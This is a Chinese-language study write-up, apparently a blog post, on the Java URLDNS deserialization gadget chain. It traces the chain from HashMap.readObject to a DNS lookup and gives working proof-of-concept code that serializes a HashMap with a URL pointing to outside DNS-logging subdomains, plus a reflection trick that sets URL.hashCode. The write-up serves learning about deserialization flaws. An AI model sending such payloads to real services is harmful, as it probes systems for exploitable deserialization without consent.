URLDNS链分析学习
URLDNS链分析
原理分析
链的利用方式
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
首先,我们利用的这个类一定得继承serialize类,并且里面完成了能够让我们知道序列化漏洞存在的明显特点,例如dns解析,所以urldns链就诞生了
优点:此链没有任何的第三方依赖,仅用java内置类,没有jdk版本的限制
首先来看,HashMap反序列化的重写

HashMap中用到了putval,调用了hash(key),跟进

调用了key.hashCode() ,不同的对象调用hashCode()的方法不同,利用链中是使用了URL.hashCode,我们看一下URL里面的这个函数

这里的handler是一个URLStreamHandler类,我们跟进看看

而这一句u.hostAddress = InetAddress.getByName(host);触发了dns解析


所以我们的整条链就已经达到了终点
目前的poc
public class URLDNS {
public static void main(String[] args) throws Exception {
URL url = new URL("http://rbmqeejvbp.lfcx.eu.org");
HashMap<URL, String> hm = new HashMap<>();
hm.put(url,"a");
//序列化
new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(hm);
//反序列化
new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
}
}
但发现序列化之前就会触发dns解析,其实就是hm.put时已经把整条链走了一遍了,我们如何避免这个问题?
我们只需要在进行put这一步的时候让hashCode的值不为-1就不会进入handler.hashCode,也就不会触发dns解析
put结束后再把hashCode的值改回-1即可

最终poc
POC:
public class URLDNS {
public static void main(String[] args) throws Exception {
URL url = new URL("http://ftgxnerujm.yutu.eu.org");
HashMap<URL, String> hm = new HashMap<>();
Class urlClass = URL.class;
Field hashCodeField = urlClass.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
//put前通过反射把url的hashCode值改为任意值
hashCodeField.set(url,1);
hm.put(url,"a");
hashCodeField.set(url,-1);
//序列化
new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(hm);
//反序列化
new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
}
}

浙公网安备 33010602011771号